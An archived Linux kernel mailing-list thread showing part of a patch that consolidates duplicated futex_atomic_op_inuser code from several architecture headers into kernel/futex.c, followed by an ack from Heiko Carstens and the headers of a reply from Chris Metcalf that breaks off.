 	switch (op) {
@@ -60,17 +55,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/sh/include/asm/futex.h b/arch/sh/include/asm/futex.h
index d0078747d308..8f8cf941a8cd 100644
--- a/arch/sh/include/asm/futex.h
+++ b/arch/sh/include/asm/futex.h
@@ -27,21 +27,12 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	return atomic_futex_op_cmpxchg_inatomic(uval, uaddr, oldval, newval);
 }
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	u32 oparg = (encoded_op << 8) >> 20;
-	u32 cmparg = (encoded_op << 20) >> 20;
 	u32 oldval, newval, prev;
 	int ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	do {
@@ -80,17 +71,8 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = ((int)oldval < (int)cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = ((int)oldval >= (int)cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = ((int)oldval <= (int)cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = ((int)oldval > (int)cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 }
diff --git a/arch/sparc/include/asm/futex_64.h b/arch/sparc/include/asm/futex_64.h
index 4e899b0dabf7..1cfd89d92208 100644
--- a/arch/sparc/include/asm/futex_64.h
+++ b/arch/sparc/include/asm/futex_64.h
@@ -29,22 +29,14 @@
 	: "r" (uaddr), "r" (oparg), "i" (-EFAULT)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (unlikely(!access_ok(VERIFY_WRITE, uaddr, sizeof(u32))))
-		return -EFAULT;
 	if (unlikely((((unsigned long) uaddr) & 0x3UL)))
 		return -EINVAL;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -69,17 +61,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/tile/include/asm/futex.h b/arch/tile/include/asm/futex.h
index e64a1b75fc38..83c1e639b411 100644
--- a/arch/tile/include/asm/futex.h
+++ b/arch/tile/include/asm/futex.h
@@ -106,12 +106,9 @@
 	lock = __atomic_hashed_lock((int __force *)uaddr)
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int uninitialized_var(val), ret;
 
 	__futex_prolog();
@@ -119,12 +116,6 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	/* The 32-bit futex code makes this assumption, so validate it here. */
 	BUILD_BUG_ON(sizeof(atomic_t) != sizeof(int));
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 	switch (op) {
 	case FUTEX_OP_SET:
@@ -148,30 +139,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (val == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (val != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (val < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (val >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (val <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (val > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = val;
+
 	return ret;
 }
 
diff --git a/arch/x86/include/asm/futex.h b/arch/x86/include/asm/futex.h
index b4c1f5453436..f4dc9b63bdda 100644
--- a/arch/x86/include/asm/futex.h
+++ b/arch/x86/include/asm/futex.h
@@ -41,20 +41,11 @@
 		       "+m" (*uaddr), "=&r" (tem)		\
 		     : "r" (oparg), "i" (-EFAULT), "1" (0))
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -80,30 +71,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/xtensa/include/asm/futex.h b/arch/xtensa/include/asm/futex.h
index b39531babec0..eaaf1ebcc7a4 100644
--- a/arch/xtensa/include/asm/futex.h
+++ b/arch/xtensa/include/asm/futex.h
@@ -44,18 +44,10 @@
 	: "r" (uaddr), "I" (-EFAULT), "r" (oparg)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 #if !XCHAL_HAVE_S32C1I
 	return -ENOSYS;
@@ -89,19 +81,10 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (ret)
-		return ret;
+	if (!ret)
+		*oval = oldval;
 
-	switch (cmp) {
-	case FUTEX_OP_CMP_EQ: return (oldval == cmparg);
-	case FUTEX_OP_CMP_NE: return (oldval != cmparg);
-	case FUTEX_OP_CMP_LT: return (oldval < cmparg);
-	case FUTEX_OP_CMP_GE: return (oldval >= cmparg);
-	case FUTEX_OP_CMP_LE: return (oldval <= cmparg);
-	case FUTEX_OP_CMP_GT: return (oldval > cmparg);
-	}
-
-	return -ENOSYS;
+	return ret;
 }
 
 static inline int
diff --git a/include/asm-generic/futex.h b/include/asm-generic/futex.h
index bf2d34c9d804..f0d8b1c51343 100644
--- a/include/asm-generic/futex.h
+++ b/include/asm-generic/futex.h
@@ -13,7 +13,7 @@
  */
 
 /**
- * futex_atomic_op_inuser() - Atomic arithmetic operation with constant
+ * arch_futex_atomic_op_inuser() - Atomic arithmetic operation with constant
  *			  argument and comparison of the previous
  *			  futex value with another constant.
  *
@@ -25,18 +25,11 @@
  * <0 - On error
  */
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval, ret;
 	u32 tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	preempt_disable();
 	pagefault_disable();
 
@@ -74,17 +67,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	pagefault_enable();
 	preempt_enable();
 
-	if (ret == 0) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (ret == 0)
+		*oval = oldval;
+
 	return ret;
 }
 
@@ -126,18 +111,9 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 
 #else
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -153,17 +129,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/kernel/futex.c b/kernel/futex.c
index b687cb22301c..c5ff9850952f 100644
--- a/kernel/futex.c
+++ b/kernel/futex.c
@@ -1457,6 +1457,42 @@ futex_wake(u32 __user *uaddr, unsigned int flags, int nr_wake, u32 bitset)
 	return ret;
 }
 
+static int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+{
+	int op = (encoded_op >> 28) & 7;
+	int cmp = (encoded_op >> 24) & 15;
+	int oparg = (encoded_op << 8) >> 20;
+	int cmparg = (encoded_op << 20) >> 20;
+	int oldval, ret;
+
+	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
+		oparg = 1 << oparg;
+
+	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
+		return -EFAULT;
+
+	ret = arch_futex_atomic_op_inuser(op, oparg, &oldval, uaddr);
+	if (ret)
+		return ret;
+
+	switch (cmp) {
+	case FUTEX_OP_CMP_EQ:
+		return oldval == cmparg;
+	case FUTEX_OP_CMP_NE:
+		return oldval != cmparg;
+	case FUTEX_OP_CMP_LT:
+		return oldval < cmparg;
+	case FUTEX_OP_CMP_GE:
+		return oldval >= cmparg;
+	case FUTEX_OP_CMP_LE:
+		return oldval <= cmparg;
+	case FUTEX_OP_CMP_GT:
+		return oldval > cmparg;
+	default:
+		return -ENOSYS;
+	}
+}
+
 /*
  * Wake up all waiters hashed on the physical page that is mapped
  * to this virtual address:
-- 
2.12.0




From - Thu Nov 08 21:39:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Heiko Carstens <heiko.carstens@de.ibm.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/3] futex: remove duplicated code
Date: Fri, 3 Mar 2017 15:08:37 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20170303140837.GF5319@osiris>
References: <20170303122712.13353-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1488550176 26809 195.159.176.226 (3 Mar 2017 14:09:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Mar 2017 14:09:36 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Mar 03 15:09:27 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048035.atla03.us.yomura.com ([107.189.48.35])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cjntd-00066G-8E
	for sgi-linux-mips@gmane.org; Fri, 03 Mar 2017 15:09:25 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048035.atla03.us.yomura.com (Halon) with ESMTP
	id 044ba2d9-001b-11e7-b156-b499baabecb2;
	Fri, 03 Mar 2017 14:09:29 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:58406 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993417AbdCCOJ1H09iL (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 3 Mar 2017 15:09:27 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 03 Mar 2017 15:09:13 +0100 (CET)
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1]:35375 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23993418AbdCCOJFlLr7L (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 3 Mar 2017 15:09:05 +0100
Original-Received: from pps.filterd (m0098396.ppops.net [127.0.0.1])
        by mx0a-001b2d01.pphosted.com (8.16.0.20/8.16.0.20) with SMTP id v23E4ASZ055993
        for <linux-mips@linux-mips.org>; Fri, 3 Mar 2017 09:09:02 -0500
Original-Received: from e06smtp09.uk.ibm.com (e06smtp09.uk.ibm.com [195.75.94.105])
        by mx0a-001b2d01.pphosted.com with ESMTP id 28xs8et4fr-1
        (version=TLSv1.2 cipher=AES256-SHA bits=256 verify=NOT)
        for <linux-mips@linux-mips.org>; Fri, 03 Mar 2017 09:09:02 -0500
Original-Received: from localhost
        by e06smtp09.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-mips@linux-mips.org> from <heiko.carstens@de.ibm.com>;
        Fri, 3 Mar 2017 14:08:52 -0000
Original-Received: from d06dlp02.portsmouth.uk.ibm.com (9.149.20.14)
        by e06smtp09.uk.ibm.com (192.168.101.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        Fri, 3 Mar 2017 14:08:40 -0000
Original-Received: from b06cxnps4074.portsmouth.uk.ibm.com (d06relay11.portsmouth.uk.ibm.com [9.149.109.196])
        by d06dlp02.portsmouth.uk.ibm.com (Postfix) with ESMTP id F1B3C2190023;
        Fri,  3 Mar 2017 14:07:40 +0000 (GMT)
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com [9.149.105.58])
        by b06cxnps4074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id v23E8ewe2163016;
        Fri, 3 Mar 2017 14:08:40 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 6765B4C04E;
        Fri,  3 Mar 2017 14:08:38 +0000 (GMT)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 47D0E4C044;
        Fri,  3 Mar 2017 14:08:37 +0000 (GMT)
Original-Received: from osiris (unknown [9.152.212.211])
        by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Fri,  3 Mar 2017 14:08:37 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20170303122712.13353-1-jslaby@suse.cz>
X-TM-AS-GCONF: 00
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 17030314-0036-0000-0000-0000037974A8
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 17030314-0037-0000-0000-00001551A0F9
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-03-03_12:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 spamscore=0 suspectscore=0
 malwarescore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1702020001
 definitions=main-1703030134
X-archive-position: 57018
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: heiko.carstens@de.ibm.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58181 gmane.linux.kernel:2422887 gmane.linux.ports.alpha:4105 gmane.linux.kernel.arc:2179 gmane.linux.ports.arm.kernel:562443 gmane.linux.ports.hexagon:1134 gmane.linux.ports.ia64:27672 gmane.linux.ports.parisc:27294 gmane.linux.ports.ppc64.devel:139192 gmane.linux.ports.sh.devel:55104 gmane.linux.ports.sparc:24668 gmane.linux.kernel.cross-arch:35350
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58181>

On Fri, Mar 03, 2017 at 01:27:10PM +0100, Jiri Slaby wrote:
> There is code duplicated over all architecture's headers for
> futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
> and comparison of the result.
> 
> Remove this duplication and leave up to the arches only the needed
> assembly which is now in arch_futex_atomic_op_inuser.
> 
> Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
> remove pointless access_ok() checks") as access_ok there returns true.
> We introduce it back to the helper for the sake of simplicity (it gets
> optimized away anyway).
> 
> Signed-off-by: Jiri Slaby <jslaby@suse.cz>
> ---
>  arch/s390/include/asm/futex.h       | 23 ++++-------------
>  include/asm-generic/futex.h         | 50 +++++++------------------------------
>  kernel/futex.c                      | 36 ++++++++++++++++++++++++++

Looks good to me and still boots on s390. Therefore for the s390 bits:
Acked-by: Heiko Carstens <heiko.carstens@de.ibm.com>

Thanks!




From - Thu Nov 08 21:39:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Chris Metcalf <cmetcalf@mellanox.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/3] futex: remove duplicated code
Date: Fri, 3 Mar 2017 09:48:52 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <8d435487-62a6-ebab-f45f-567d79237e9a@mellanox.com>
References: <20170303122712.13353-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1488552598 6322 195.159.176.226 (3 Mar 2017 14:49:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Mar 2017 14:49:58 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.7.1
Cc: <linux-kernel@vger.kernel.org>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <pau
To: Jiri Slaby <jslaby@suse.cz>, <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Mar 03 15:49:47 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048034.atla03.us.yomura.com ([107.189.48.34])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cjoWf-0000Iy-4i
	for sgi-linux-mips@gmane.org; Fri, 03 Mar 2017 15:49:45 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048034.atla03.us.yomura.com (Halon) with ESMTP
	id a5cbaf74-0020-11e7-b719-b499baa2b07a;
	Fri, 03 Mar 2017 14:49:48 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:59564 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993417AbdCCOtojvCcJ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 3 Mar 2017 15:49:44 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 03 Mar 2017 15:49:27 +0100 (CET)
Original-Received: from mail-eopbgr10059.outbound.protection.outlook.com ([40.107.1.59]:62432
        "EHLO EUR02-HE1-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S23993419AbdCCOtUDYQhJ (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 3 Mar 2017 15:49:20 +0100
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Mellanox.com;
 s=selector1; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=huf8WtPH72S9HMHy7eI/WbmGGgqG70EhFkuGooPEtzw=;
 b=iRof2TDaTyb/xlMNfz2/HjpOZmSrR9tYTp01seNbFuLEgzFLk15V+h11x+Jk/0XU+NF3huGmlcx/HbRZktmuf8TJjpjxQj58XOR11YaLC+MrULaqNhSEa6TP4HiHSgloT9LpghShIGqzCGKtsVtoENNghh2XkkwqYpVqZGZLbJ4=
Authentication-Results: vger.kernel.org; dkim=none (message not signed)
 header.d=none;vger.kernel.org; dmarc=none action=none
 header.from=mellanox.com;
Original-Received: from [10.15.7.185] (12.216.194.146) by
 VI1PR0501MB2766.eurprd05.prod.outlook.com (10.172.11.16) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
 15.1.933.12; Fri, 3 Mar 2017 14:49:00 +0000
In-Reply-To: <20170303122712.13353-1-jslaby@suse.cz>
X-Originating-IP: [12.216.194.146]
X-ClientProxiedBy: BN6PR07CA0030.namprd07.prod.outlook.com (10.172.104.16) To
 VI1PR0501MB2766.eurprd05.prod.outlook.com (10.172.11.16)
X-MS-Office365-Filtering-Correlation-Id: 5066cc5d-654a-45f8-a6d5-08d4624471dc
X-MS-Office365-Filtering-HT: Tenant
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:(22001)(48565401081);SRVR:VI1PR0501MB2766;
